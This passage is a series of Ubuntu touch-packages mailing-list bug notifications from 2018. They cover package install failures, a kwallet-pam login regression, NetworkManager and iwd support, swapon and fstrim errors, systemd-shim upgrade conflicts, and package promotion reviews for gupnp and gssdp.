Public bug reported: please look into it ProblemType: Package DistroRelease: Ubuntu 16.04 Package: gstreamer1.0-pulseaudio:amd64 1.8.0-1ubuntu1 ProcVersionSignature: Ubuntu 4.4.0-94.117-generic 4.4.83 Uname: Linux 4.4.0-94-generic x86_64 ApportVersion: 2.20.1-0ubuntu2.18 AptOrdering: cheese: Install gstreamer1.0-pulseaudio: Configure cheese: Configure NULL: ConfigurePending Architecture: amd64 Date: Fri Oct 26 22:04:25 2018 DistributionChannelDescriptor: # This is a distribution channel descriptor # For more information see http://wiki.ubuntu.com/DistributionChannelDescriptor canonical-oem-somerville-xenial-amd64-20160624-2 DuplicateSignature: package:gstreamer1.0-pulseaudio:amd64:1.8.0-1ubuntu1 Processing triggers for man-db (2.7.5-1) ... dpkg: error processing package gstreamer1.0-pulseaudio:amd64 (--configure): package is in a very bad inconsistent state; you should ErrorMessage: package is in a very bad inconsistent state; you should reinstall it before attempting configuration InstallationDate: Installed on 2018-08-07 (80 days ago) InstallationMedia: Ubuntu 16.04 "Xenial" - Build amd64 LIVE Binary 20160624-10:47 RelatedPackageVersions: dpkg 1.18.4ubuntu1.4 apt 1.2.29 SourcePackage: gst-plugins-good1.0 Title: package gstreamer1.0-pulseaudio:amd64 1.8.0-1ubuntu1 failed to install/upgrade: package is in a very bad inconsistent state; you should reinstall it before attempting configuration UpgradeStatus: No upgrade log present (probably fresh install) ** Affects: gst-plugins-good1.0 (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-package xenial -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to gst-plugins-good1.0 in Ubuntu. https://bugs.launchpad.net/bugs/1800184 Title: package gstreamer1.0-pulseaudio:amd64 1.8.0-1ubuntu1 failed to install/upgrade: package is in a very bad inconsistent state; you should reinstall it before attempting configuration Status in gst-plugins-good1.0 package in Ubuntu: New Bug description: please look into it ProblemType: Package DistroRelease: Ubuntu 16.04 Package: gstreamer1.0-pulseaudio:amd64 1.8.0-1ubuntu1 ProcVersionSignature: Ubuntu 4.4.0-94.117-generic 4.4.83 Uname: Linux 4.4.0-94-generic x86_64 ApportVersion: 2.20.1-0ubuntu2.18 AptOrdering: cheese: Install gstreamer1.0-pulseaudio: Configure cheese: Configure NULL: ConfigurePending Architecture: amd64 Date: Fri Oct 26 22:04:25 2018 DistributionChannelDescriptor: # This is a distribution channel descriptor # For more information see http://wiki.ubuntu.com/DistributionChannelDescriptor canonical-oem-somerville-xenial-amd64-20160624-2 DuplicateSignature: package:gstreamer1.0-pulseaudio:amd64:1.8.0-1ubuntu1 Processing triggers for man-db (2.7.5-1) ... dpkg: error processing package gstreamer1.0-pulseaudio:amd64 (--configure): package is in a very bad inconsistent state; you should ErrorMessage: package is in a very bad inconsistent state; you should reinstall it before attempting configuration InstallationDate: Installed on 2018-08-07 (80 days ago) InstallationMedia: Ubuntu 16.04 "Xenial" - Build amd64 LIVE Binary 20160624-10:47 RelatedPackageVersions: dpkg 1.18.4ubuntu1.4 apt 1.2.29 SourcePackage: gst-plugins-good1.0 Title: package gstreamer1.0-pulseaudio:amd64 1.8.0-1ubuntu1 failed to install/upgrade: package is in a very bad inconsistent state; you should reinstall it before attempting configuration UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gst-plugins-good1.0/+bug/1800184/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1784964] Re: Regression due to CVE-2018-1116 (processes not inheriting user's supplementary groups )
*** This bug is a duplicate of bug 1781418 ***
https://bugs.launchpad.net/bugs/1781418
This appears to be due to CVE patches in kwallet-pam not policykit-1.
Marking this as a duplicate of
Bug #1781418 "User not being initialized correctly on login"
It affects lightdm due to its /etc/pam.d/lightdm including
libpam_kwallet{4,5}.so. Solution is to comment/remove those.
See comment #5 of the kwallet-pam bug.
** This bug has been marked a duplicate of bug 1781418
User not being initialized correctly on login
** Summary changed:
- Regression due to CVE-2018-1116 (processes not inheriting user's
supplementary groups )
+ Regression due to CVE patches in kwallet-pam (processes not inheriting user's
supplementary groups )
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to policykit-1 in Ubuntu.
https://bugs.launchpad.net/bugs/1784964
Title:
Regression due to CVE patches in kwallet-pam (processes not inheriting
user's supplementary groups )
Status in policykit-1 package in Ubuntu:
Confirmed
Bug description:
This report is tracking a possible regression caused by the recent
CVE-2018-1116 patches to policykit-1.
On 18.04, since package upgrades on July 23rd, and after the first
reboot since then on Aug 1st, I hit an issue with the primary (sudo,
adm, etc...) user getting Permission Denied trying to do:
tail -f /var/log/syslog
when that file is owned by syslog:adm and is g=r.
I then found that "groups" reports only the $USER and not the entire
list, but "groups $USER" reports all the groups correctly.
The user shell is set to /usr/bin/tmux and /etc/tmux.conf has "set -g
default-shell /bin/bash"
After changing the user's shell back to /bin/bash and logging in on
tty1 the list of groups shows correctly for the /bin/bash process
running on tty1.
I investigated and found that for the affected processes, such as the
tmux process, /proc/$PID/loginuid = 4294967295 whereas the /bin/bash
process on tty1 correctly reported 1000. The same with the respective
gid_map and uid_map.
4294967295 == -1 == 0x
The recent CVE patch to policykit has several functions where it does
"uid = -1" which seems to tie in to my findings so far.
I also noticed Ubuntu is still based on version 0.105 which was
released in 2012 - upstream released 0.115 with the CVE patch.
I suspect the backporting has missed something.
The Ubuntu backport patch is:
https://git.launchpad.net/ubuntu/+source/policykit-1/commit/?h=applied/ubuntu
/bionic-devel=840c50182f5ab1ba28c1d20cce4c207364852935
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/policykit-1/+bug/1784964/+subscriptions
--
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1800055] Re: iwd does not work with network manager
Just so I understand, did you try and rebuild n-m with iwd enabled, or did you try and enable it at run time? -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to network-manager in Ubuntu. https://bugs.launchpad.net/bugs/1800055 Title: iwd does not work with network manager Status in network-manager package in Ubuntu: Confirmed Bug description: I configured network manager to use iwd, unfortunately it doesn't work: Oct 25 15:12:23 malefic NetworkManager[17004]: [1540501943.4358] device (wlp4s0): state change: unmanaged -> unavailable (reason 'managed', sys-iface-state: 'external') Oct 25 15:12:23 malefic NetworkManager[17004]: g_variant_get_type: assertion 'value != NULL' failed Oct 25 15:12:23 malefic NetworkManager[17004]: g_variant_type_is_subtype_of: assertion 'g_variant_type_check (type)' failed Oct 25 15:12:23 malefic NetworkManager[17004]: g_variant_get_boolean: assertion 'g_variant_is_of_type (value, G_VARIANT_TYPE_BOOLEAN)' failed Oct 25 15:12:23 malefic NetworkManager[17004]: g_variant_unref: assertion 'value != NULL' failed Oct 25 15:12:23 malefic NetworkManager[17004]: g_variant_get_string: assertion 'value != NULL' failed Oct 25 15:12:23 malefic NetworkManager[17004]: [1540501943.7492] device (wlp4s0): new IWD device state is (null) Oct 25 15:12:23 malefic NetworkManager[17004]: [1540501943.7492] device (wlp4s0): State (null) unknown Oct 25 15:12:23 malefic NetworkManager[17004]: g_variant_unref: assertion 'value != NULL' failed Oct 25 15:12:23 malefic NetworkManager[17004]: g_dbus_proxy_call_internal: assertion 'G_IS_DBUS_PROXY (proxy)' failed Oct 25 15:12:23 malefic NetworkManager[17004]: g_object_unref: assertion 'G_IS_OBJECT (object)' failed To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/network-manager/+bug/1800055/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1800055] Re: iwd does not work with network manager
Added to Trello: https://trello.com/c/CsmiAkqj/119-bug1800055-iwd-does- not-work-with-network-manager ** Changed in: network-manager (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to network-manager in Ubuntu. https://bugs.launchpad.net/bugs/1800055 Title: iwd does not work with network manager Status in network-manager package in Ubuntu: Confirmed Bug description: I configured network manager to use iwd, unfortunately it doesn't work: Oct 25 15:12:23 malefic NetworkManager[17004]: [1540501943.4358] device (wlp4s0): state change: unmanaged -> unavailable (reason 'managed', sys-iface-state: 'external') Oct 25 15:12:23 malefic NetworkManager[17004]: g_variant_get_type: assertion 'value != NULL' failed Oct 25 15:12:23 malefic NetworkManager[17004]: g_variant_type_is_subtype_of: assertion 'g_variant_type_check (type)' failed Oct 25 15:12:23 malefic NetworkManager[17004]: g_variant_get_boolean: assertion 'g_variant_is_of_type (value, G_VARIANT_TYPE_BOOLEAN)' failed Oct 25 15:12:23 malefic NetworkManager[17004]: g_variant_unref: assertion 'value != NULL' failed Oct 25 15:12:23 malefic NetworkManager[17004]: g_variant_get_string: assertion 'value != NULL' failed Oct 25 15:12:23 malefic NetworkManager[17004]: [1540501943.7492] device (wlp4s0): new IWD device state is (null) Oct 25 15:12:23 malefic NetworkManager[17004]: [1540501943.7492] device (wlp4s0): State (null) unknown Oct 25 15:12:23 malefic NetworkManager[17004]: g_variant_unref: assertion 'value != NULL' failed Oct 25 15:12:23 malefic NetworkManager[17004]: g_dbus_proxy_call_internal: assertion 'G_IS_DBUS_PROXY (proxy)' failed Oct 25 15:12:23 malefic NetworkManager[17004]: g_object_unref: assertion 'G_IS_OBJECT (object)' failed To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/network-manager/+bug/1800055/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1800171] [NEW] n-m doesn't support iwd as a backend
Public bug reported: iwd is an alternative to wpa_supplicant. It can be enabled as backend for n-m at run time, but n-m needs to be built with support for it. iwd is in universe in Cosmic. It would be good to get this switched on for DD so that we can test and think about making it the default for EE before the next LTS. ** Affects: network-manager (Ubuntu) Importance: Undecided Status: New -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to network-manager in Ubuntu. https://bugs.launchpad.net/bugs/1800171 Title: n-m doesn't support iwd as a backend Status in network-manager package in Ubuntu: New Bug description: iwd is an alternative to wpa_supplicant. It can be enabled as backend for n-m at run time, but n-m needs to be built with support for it. iwd is in universe in Cosmic. It would be good to get this switched on for DD so that we can test and think about making it the default for EE before the next LTS. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/network-manager/+bug/1800171/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1800167] [NEW] fstrim: /var/spool/postfix/etc/sasldb2: not a directory
Public bug reported: I've started getting weekly cron emails starting on Oct 7, 2018 that say /etc/cron.weekly/fstrim: fstrim: /var/spool/postfix/etc/sasldb2: not a directory The previous week's email did not have any complaints from fstrim, and I'm not sure what changed since then. There was a kernel upgrade (to 4.4.0-137.163), maybe that's related? My /etc/fstab contains the following line /etc/sasldb2 /var/spool/postfix/etc/sasldb2 none bind 0 0 because I need postfix's smtpd to access /etc/sasldb2 inside the postfix chroot. FWIW the root partition (that contains /etc/sasldb2) on this server resides on a pair of SSDs (inside a raid1 LVM volume), but only since Sep 27 when I moved it there. I'm not sure it's relevant since, as I mentioned before, the weekly email on Sep 30 did not have any fstrim complaints, just the usual "new 18.04 LTS update available, consider upgrading". ProblemType: Bug DistroRelease: Ubuntu 16.04 Package: util-linux 2.27.1-6ubuntu3.6 ProcVersionSignature: Ubuntu 4.4.0-138.164-generic 4.4.155 Uname: Linux 4.4.0-138-generic x86_64 ApportVersion: 2.20.1-0ubuntu2.18 Architecture: amd64 Date: Fri Oct 26 17:56:06 2018 SourcePackage: util-linux UpgradeStatus: Upgraded to xenial on 2016-11-07 (718 days ago) ** Affects: util-linux (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug xenial -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to util-linux in Ubuntu. https://bugs.launchpad.net/bugs/1800167 Title: fstrim: /var/spool/postfix/etc/sasldb2: not a directory Status in util-linux package in Ubuntu: New Bug description: I've started getting weekly cron emails starting on Oct 7, 2018 that say /etc/cron.weekly/fstrim: fstrim: /var/spool/postfix/etc/sasldb2: not a directory The previous week's email did not have any complaints from fstrim, and I'm not sure what changed since then. There was a kernel upgrade (to 4.4.0-137.163), maybe that's related? My /etc/fstab contains the following line /etc/sasldb2 /var/spool/postfix/etc/sasldb2 none bind 0 0 because I need postfix's smtpd to access /etc/sasldb2 inside the postfix chroot. FWIW the root partition (that contains /etc/sasldb2) on this server resides on a pair of SSDs (inside a raid1 LVM volume), but only since Sep 27 when I moved it there. I'm not sure it's relevant since, as I mentioned before, the weekly email on Sep 30 did not have any fstrim complaints, just the usual "new 18.04 LTS update available, consider upgrading". ProblemType: Bug DistroRelease: Ubuntu 16.04 Package: util-linux 2.27.1-6ubuntu3.6 ProcVersionSignature: Ubuntu 4.4.0-138.164-generic 4.4.155 Uname: Linux 4.4.0-138-generic x86_64 ApportVersion: 2.20.1-0ubuntu2.18 Architecture: amd64 Date: Fri Oct 26 17:56:06 2018 SourcePackage: util-linux UpgradeStatus: Upgraded to xenial on 2016-11-07 (718 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/util-linux/+bug/1800167/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
Re: [Touch-packages] [Bug 1773859] Re: upgrades to 18.04 fail
Sure, happy to try On Thu, Oct 25, 2018 at 2:05 PM Jacob Ngalya <1773...@bugs.launchpad.net> wrote: > this package failed to upgrade when is upgrading to ubuntu 18.04, may > you help me to resolve this issue > > -- > You received this bug notification because you are subscribed to a > duplicate bug report (1793916). > https://bugs.launchpad.net/bugs/1773859 > > Title: > upgrades to 18.04 fail > > Status in systemd package in Ubuntu: > Fix Released > Status in systemd-shim package in Ubuntu: > Won't Fix > Status in systemd source package in Bionic: > In Progress > Status in systemd-shim source package in Bionic: > Won't Fix > Status in systemd source package in Cosmic: > Fix Released > Status in systemd-shim source package in Cosmic: > Won't Fix > > Bug description: > [Impact] > >* Some systems fail to upgrade due to conflicts between systemd and > the (now removed from the archive) systemd-shim / upstart. > >* Instead of trying to work out what's the problem in ordering / > removal of diverts, ensure that systemd is never unpacked whilst > systemd-shim/upstart are still on disk. Thus declare conflicts against > systemd-shim/upstart packages in systemd package. > > [Test Case] > >* monitor drop-off of upgrades with below reported problem > >* Check that it is possible to upgrade to bionic's libpam-systemd > from xenial with systemd-shim installed on xenial. > > [Regression Potential] > >* systemd-shim/upstart are both removed and not supported in bionic, > thus forcing their removal via conflicts should bring the system into > an expected state. > > [Other Info] > >* original bug report > > > $ sudo apt upgrade > Reading package lists... Done > Building dependency tree > Reading state information... Done > Calculating upgrade... Done > The following packages will be REMOVED: > systemd-shim > 0 upgraded, 0 newly installed, 1 to remove and 0 not upgraded. > 1 not fully installed or removed. > After this operation, 71.7 kB disk space will be freed. > Do you want to continue? [Y/n] y > (Reading database ... 63 files and directories currently installed.) > Removing systemd-shim (9-1bzr4ubuntu1) ... > Removing 'diversion of > /usr/share/dbus-1/system-services/org.freedesktop.systemd1.service to > /usr/share/dbus-1/system-services/org.freedesktop.systemd1.service.systemd > by systemd-shim' > dpkg-divert: error: rename involves overwriting > '/usr/share/dbus-1/system-services/org.freedesktop.systemd1.service' with > different file > '/usr/share/dbus-1/system-services/org.freedesktop.systemd1.service.systemd', > not allowed > dpkg: error processing package systemd-shim (--remove): >subprocess installed post-removal script returned error exit status 2 > Errors were encountered while processing: >systemd-shim > E: Sub-process /usr/bin/dpkg returned an error code (1) > > Commenting out the dpkg-divert in systemd-shim's postrm solved this > for me and I was about to continue the upgrade. > > To manage notifications about this bug go to: > > https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1773859/+subscriptions > -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1773859 Title: upgrades to 18.04 fail Status in systemd package in Ubuntu: Fix Released Status in systemd-shim package in Ubuntu: Won't Fix Status in systemd source package in Bionic: In Progress Status in systemd-shim source package in Bionic: Won't Fix Status in systemd source package in Cosmic: Fix Released Status in systemd-shim source package in Cosmic: Won't Fix Bug description: [Impact] * Some systems fail to upgrade due to conflicts between systemd and the (now removed from the archive) systemd-shim / upstart. * Instead of trying to work out what's the problem in ordering / removal of diverts, ensure that systemd is never unpacked whilst systemd-shim/upstart are still on disk. Thus declare conflicts against systemd-shim/upstart packages in systemd package. [Test Case] * monitor drop-off of upgrades with below reported problem * Check that it is possible to upgrade to bionic's libpam-systemd from xenial with systemd-shim installed on xenial. [Regression Potential] * systemd-shim/upstart are both removed and not supported in bionic, thus forcing their removal via conflicts should bring the system into an expected state. [Other Info] * original bug report $ sudo apt upgrade Reading package lists... Done Building dependency tree Reading state information... Done Calculating upgrade... Done The following packages will be REMOVED: systemd-shim 0 upgraded, 0 newly installed, 1 to remove and 0 not upgraded. 1 not fully installed or removed. After this operation, 71.7 kB disk space will be freed. Do you want to continue?
[Touch-packages] [Bug 1800162] Re: package openssh-server 1:7.7p1-4 failed to install/upgrade: installed openssh-server package post-installation script subprocess returned error exit status 1
** Tags removed: need-duplicate-check -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to openssh in Ubuntu. https://bugs.launchpad.net/bugs/1800162 Title: package openssh-server 1:7.7p1-4 failed to install/upgrade: installed openssh-server package post-installation script subprocess returned error exit status 1 Status in openssh package in Ubuntu: New Bug description: This package fails during a fresh install of Ubuntu 18.10. ProblemType: Package DistroRelease: Ubuntu 18.10 Package: openssh-server 1:7.7p1-4 ProcVersionSignature: Ubuntu 4.18.0-11.12-generic 4.18.12 Uname: Linux 4.18.0-11-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.20.10-0ubuntu13 AptOrdering: NULL: ConfigurePending Architecture: amd64 Date: Fri Oct 26 11:42:59 2018 ErrorMessage: installed openssh-server package post-installation script subprocess returned error exit status 1 Python3Details: /usr/bin/python3.6, Python 3.6.7, python3-minimal, 3.6.7-1~18.10 PythonDetails: /usr/bin/python2.7, Python 2.7.15+, python-minimal, 2.7.15-3 RelatedPackageVersions: dpkg 1.19.0.5ubuntu5 apt 1.7.0 SourcePackage: openssh Title: package openssh-server 1:7.7p1-4 failed to install/upgrade: installed openssh-server package post-installation script subprocess returned error exit status 1 UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/openssh/+bug/1800162/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1800162] [NEW] package openssh-server 1:7.7p1-4 failed to install/upgrade: installed openssh-server package post-installation script subprocess returned error exit status 1
Public bug reported: This package fails during a fresh install of Ubuntu 18.10. ProblemType: Package DistroRelease: Ubuntu 18.10 Package: openssh-server 1:7.7p1-4 ProcVersionSignature: Ubuntu 4.18.0-11.12-generic 4.18.12 Uname: Linux 4.18.0-11-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.20.10-0ubuntu13 AptOrdering: NULL: ConfigurePending Architecture: amd64 Date: Fri Oct 26 11:42:59 2018 ErrorMessage: installed openssh-server package post-installation script subprocess returned error exit status 1 Python3Details: /usr/bin/python3.6, Python 3.6.7, python3-minimal, 3.6.7-1~18.10 PythonDetails: /usr/bin/python2.7, Python 2.7.15+, python-minimal, 2.7.15-3 RelatedPackageVersions: dpkg 1.19.0.5ubuntu5 apt 1.7.0 SourcePackage: openssh Title: package openssh-server 1:7.7p1-4 failed to install/upgrade: installed openssh-server package post-installation script subprocess returned error exit status 1 UpgradeStatus: No upgrade log present (probably fresh install) ** Affects: openssh (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-package cosmic -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to openssh in Ubuntu. https://bugs.launchpad.net/bugs/1800162 Title: package openssh-server 1:7.7p1-4 failed to install/upgrade: installed openssh-server package post-installation script subprocess returned error exit status 1 Status in openssh package in Ubuntu: New Bug description: This package fails during a fresh install of Ubuntu 18.10. ProblemType: Package DistroRelease: Ubuntu 18.10 Package: openssh-server 1:7.7p1-4 ProcVersionSignature: Ubuntu 4.18.0-11.12-generic 4.18.12 Uname: Linux 4.18.0-11-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.20.10-0ubuntu13 AptOrdering: NULL: ConfigurePending Architecture: amd64 Date: Fri Oct 26 11:42:59 2018 ErrorMessage: installed openssh-server package post-installation script subprocess returned error exit status 1 Python3Details: /usr/bin/python3.6, Python 3.6.7, python3-minimal, 3.6.7-1~18.10 PythonDetails: /usr/bin/python2.7, Python 2.7.15+, python-minimal, 2.7.15-3 RelatedPackageVersions: dpkg 1.19.0.5ubuntu5 apt 1.7.0 SourcePackage: openssh Title: package openssh-server 1:7.7p1-4 failed to install/upgrade: installed openssh-server package post-installation script subprocess returned error exit status 1 UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/openssh/+bug/1800162/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1700104] Re: package pcscd 1.8.10-1ubuntu1.1 failed to install/upgrade: subprocess installed post-installation script returned error exit status 1
Ludovic: I tried sudo apt install -- reinstall pcsd and got an internal error: No file name for pcscd:amd64 I am using 14.04 and have not upgraded (can't right now) -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to pcsc-lite in Ubuntu. https://bugs.launchpad.net/bugs/1700104 Title: package pcscd 1.8.10-1ubuntu1.1 failed to install/upgrade: subprocess installed post-installation script returned error exit status 1 Status in pcsc-lite package in Ubuntu: New Bug description: . ProblemType: Package DistroRelease: Ubuntu 14.04 Package: pcscd 1.8.10-1ubuntu1.1 ProcVersionSignature: Ubuntu 4.4.0-81.104~14.04.1-generic 4.4.67 Uname: Linux 4.4.0-81-generic x86_64 ApportVersion: 2.14.1-0ubuntu3.24 AptOrdering: pcscd: Install pcscd: Configure Architecture: amd64 Date: Fri Jun 23 12:21:31 2017 DuplicateSignature: package:pcscd:1.8.10-1ubuntu1.1:subprocess installed post-installation script returned error exit status 1 ErrorMessage: subprocess installed post-installation script returned error exit status 1 InstallationDate: Installed on 2016-12-28 (177 days ago) InstallationMedia: Ubuntu 14.04.5 LTS "Trusty Tahr" - Release amd64 (20160803) RelatedPackageVersions: dpkg 1.17.5ubuntu5.7 apt 1.0.1ubuntu2.17 SourcePackage: pcsc-lite Title: package pcscd 1.8.10-1ubuntu1.1 failed to install/upgrade: subprocess installed post-installation script returned error exit status 1 UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/pcsc-lite/+bug/1700104/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1799974] Re: [MIR] gupnp
* -doc package: I think we should promote it as well in main, if the -dev is promoted. If so, this dep should be fixed: Depends: lynx | www-browser (first is lynx, in universe, www-browser is a virtual package not fullfiled?). In addition, it ships the doc in devhelp format (despite symlink from doc/ to gtk-doc/). I don't think anyway that those are needed, we don't tend to have -doc dep on a browser implementation. Opened question: should the tests run as autopkgtests? (Unsure if they are pure unit or interact with the rest of the system) Second time a copyright file is up to date (last update in 2015 ;)) So, once the -doc thingy is sorted out, +1 for me. Same than other, security review would be nice as part of the dlna stack. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to gupnp in Ubuntu. https://bugs.launchpad.net/bugs/1799974 Title: [MIR] gupnp Status in gupnp package in Ubuntu: New Bug description: * Availability Builds on all supported architectures in Ubuntu and on sync from Debian, the package was in main in the past and needs to be re- promoted * Rationale We would like to enable dlna sharing of media files, which is a GNOME upstream feature and relying on rygel which depends on the gupnp libraries * Security There is an old CVE recorded/fixed https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2174 * Quality assurance - the desktop-packages team is subscribed to the package - the bug lists in upstream, the Debian PTS and launchpad are empty - upstream has a testsuit which is used during build * Dependendies The package uses standard desktop libraries that are already in main * Standards compliance the package is using standard packaging (dh10), the standards-version is 4.2, the package is in sync from Debian * Maintainance Upstream is active and the desktop team is going to look after the package in ubuntu To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gupnp/+bug/1799974/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1799977] Re: [MIR] gssdp
* -doc package: I think we should promote it as well in main, if the -dev is promoted. If so, this dep should be fixed: Depends: lynx | www-browser (first is lynx, in universe, www-browser is a virtual package not fullfiled?). In addition, it ships the doc in devhelp format (despite symlink from doc/ to gtk-doc/). I don't think anyway that those are needed, we don't tend to have -doc dep on a browser implementation. Minor: - VCS could be updated in debian/control* Opened question: should the tests run as autopkgtests? (Unsure if they are pure unit or interact with the rest of the system) Nitpick: it's actually using dh10, hence dh_install --fail-missing instead of dh_missing. copyright file is correct and no binary package lintian warnings (apart from manpage)! :) So global +1 for me, after looking the -doc package dep. I think that as for the rest of the stack, some security check is good. I didn't spot anything special code-wise. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to gssdp in Ubuntu. https://bugs.launchpad.net/bugs/1799977 Title: [MIR] gssdp Status in gssdp package in Ubuntu: New Bug description: * Availability Builds on all supported architectures in Ubuntu and on sync from Debian, the package was in main in the past and needs to be re- promoted * Rationale We would like to enable dlna sharing of media files, which is a GNOME upstream feature and relying on gssdp * Security No CVE/known security issue * Quality assurance - the desktop-packages team is subscribed to the package - the bug lists in upstream, the Debian PTS and launchpad are empty - upstream has a testsuit which is being used during build * Dependendies The package dependencies are in main * Standards compliance the package is using standard packaging (dh11), the standards-version is 4.1.1, the package is in sync from Debian * Maintainance Upstream is active and the desktop team is going to look after the package in ubuntu To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gssdp/+bug/1799977/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1788321] Re: swapon failed: invalid argument
Like John Shipp, we are on Debian 9.4 32-bit (on VMware) and still have this issue on the latest kernel: 4.9.0-8-686-pae #1 SMP Debian 4.9.110-3+deb9u6 (2018-10-08) Message in syslog is : swapon: /dev/sdb1: swapon failed: Invalid argument To work round it, I've pinned kernel at 4.9.0-7 on production VMs with an apt/preferences.d/ file. - see also Debian bug #907175 Cheers -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to util-linux in Ubuntu. https://bugs.launchpad.net/bugs/1788321 Title: swapon failed: invalid argument Status in linux package in Ubuntu: Confirmed Status in util-linux package in Ubuntu: Invalid Bug description: Environment: - Ubuntu 18.04.1 LTS - Linux 4.15.0-32-generic i686 Description: When I try to mount my swap partition or my swap file, I get "swapon failed: invalid argument" . Steps to reproduce: 1) sudo bash 2) dd if=/dev/zero of=/swapfile bs=1024 count=524288 3) mkswap /swapfile 4) chown root:root /swapfile 5) chmod 0600 /swapfile 6) swapon /swapfile Last execution returns "swapon failed: invalid argument" . I'm almost sure it's a bug because I have no problems using Linux 4.15.0-29-generic instead of Linux 4.15.0-32-generic. Also, no problems using Ubuntu 18.04.1 LTS Live CD. Regards. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1788321/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1686183] Re: Ship ubuntu-advantage in ubuntu-minimal
Upon upgrading to 1.361.2 on xenial, ubuntu-minimal pulled in ubuntu- advantage-tools which got installed and ubuntu-advantage command became present and operational. ** Tags removed: verification-needed verification-needed-trusty verification-needed-xenial ** Tags added: verification-done verification-done-trusty verification-done-xenial -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ubuntu-meta in Ubuntu. https://bugs.launchpad.net/bugs/1686183 Title: Ship ubuntu-advantage in ubuntu-minimal Status in ubuntu-advantage-tools package in Ubuntu: Fix Released Status in ubuntu-meta package in Ubuntu: Fix Released Status in ubuntu-advantage-tools source package in Precise: Fix Released Status in ubuntu-meta source package in Precise: Fix Released Status in ubuntu-advantage-tools source package in Trusty: Fix Released Status in ubuntu-meta source package in Trusty: Fix Committed Status in ubuntu-advantage-tools source package in Xenial: Fix Released Status in ubuntu-meta source package in Xenial: Fix Committed Status in ubuntu-advantage-tools source package in Yakkety: Won't Fix Status in ubuntu-meta source package in Yakkety: Won't Fix Status in ubuntu-advantage-tools source package in Zesty: Fix Released Status in 